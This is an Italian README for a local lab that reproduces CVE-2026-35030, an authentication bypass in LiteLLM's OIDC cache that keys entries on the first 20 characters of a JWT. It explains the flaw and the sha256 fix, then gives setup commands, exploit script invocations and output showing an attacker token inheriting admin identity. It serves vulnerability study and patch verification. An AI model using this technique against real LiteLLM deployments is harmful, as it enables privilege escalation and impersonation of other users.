
Il codice per riprodurre personalmente la vulnerabilità corrispondente
La cache OIDC userinfo di LiteLLM usa
token[:20]come chiave di cache. Due JWT diversi firmati con lo stesso algoritmo producono primi 20 caratteri identici, consentendo a un attaccante non autenticato di ereditare l'identità e i permessi in cache di un altro utente.
| Campo | Valore |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRITICO) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRITICO) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Autenticazione impropria) / CWE-222 (Credenziali protette in modo insufficiente) |
| Versioni interessate | LiteLLM < 1.83.0 (con enable_jwt_auth: true) |
| Versione corretta | v1.83.0+ (chiave di cache modificata in sha256(token)) |
| Pubblicato | 2026-04-06 |
| Scoperto da | Veria Labs |
| Link | GHSA-jjhc-v7c2-5hh6 • NVD • Avviso GitLab |
LiteLLM è un AI Gateway / server proxy per chiamare le API LLM. Quando l'autenticazione JWT
è abilitata (enable_jwt_auth: true), LiteLLM valida i token contro un provider OIDC
e mette in cache la risposta userinfo.
La vulnerabilità: la chiave di cache usa solo i primi 20 caratteri del JWT:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
Un JWT è composto da tre segmenti codificati in base64url separati da punti:
<header>.<payload>.<signature>
L'header (ad es., {"alg":"RS256","typ":"JWT"}) viene codificato in modo identico per tutti i token
che usano lo stesso algoritmo di firma. Ciò significa che due JWT diversi — emessi per utenti
completamente differenti — avranno gli stessi primi 20 caratteri.
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
Nota sulla licenza Enterprise: l'autenticazione JWT/OIDC è una funzionalità solo enterprise in LiteLLM (richiede
LITELLM_LICENSE). Per la riproduzione locale della CVE, entrambi i Dockerfile applicano una patch al controllopremium_userimpostandolo suTrue. Questo non influisce sulla vulnerabilità — la collisione della chiave di cache (token[:20]) esiste indipendentemente dal controllo enterprise.Al primo avvio vengono eseguite le migrazioni Prisma (~60-90s). LiteLLM sarà pronto quando i log mostrano
"Uvicorn running on http://0.0.0.0:4000".
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Modalità demo — mostra la collisione della chiave di cache:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Modalità exploit — dimostra il bypass effettivo dell'autenticazione:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
Versione corretta — la chiave di cache sha256 previene la collisione:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
In litellm/proxy/auth/handle_jwt.py, la cache OIDC userinfo
è indicizzata dalla chiave token[:20]:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] è insufficiente| Componente del token | Include dati specifici dell'utente? | Costante per lo stesso algoritmo? |
|---|---|---|
| Header (primi ~30 caratteri) | ❌ No | ✅ Sì — base64 identico |
| Payload (specifico dell'utente) | ✅ Sì | ❌ No — unico per utente |
| Firma | ✅ Sì | ❌ No — unica per chiave |
Poiché l'header è l'unica parte nei primi 20 caratteri, e l'header è identico per tutti i token che usano lo stesso algoritmo di firma, ogni JWT RS256 proveniente dallo stesso issuer ha esattamente gli stessi primi 20 caratteri.
| Scenario | Descrizione |
|---|---|
| Escalation dei privilegi | Un utente con privilegi bassi diventa admin tramite la collisione della cache |
| Impersonazione orizzontale | Impersonare qualsiasi utente il cui userinfo è in cache |
| Catena di bypass dell'autenticazione | Combinare con CVE-2026-35029 per ottenere RCE |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token))enable_jwt_auth: falseDisclaimer: questo contenuto è fornito solo per scopi educativi e test di sicurezza autorizzati.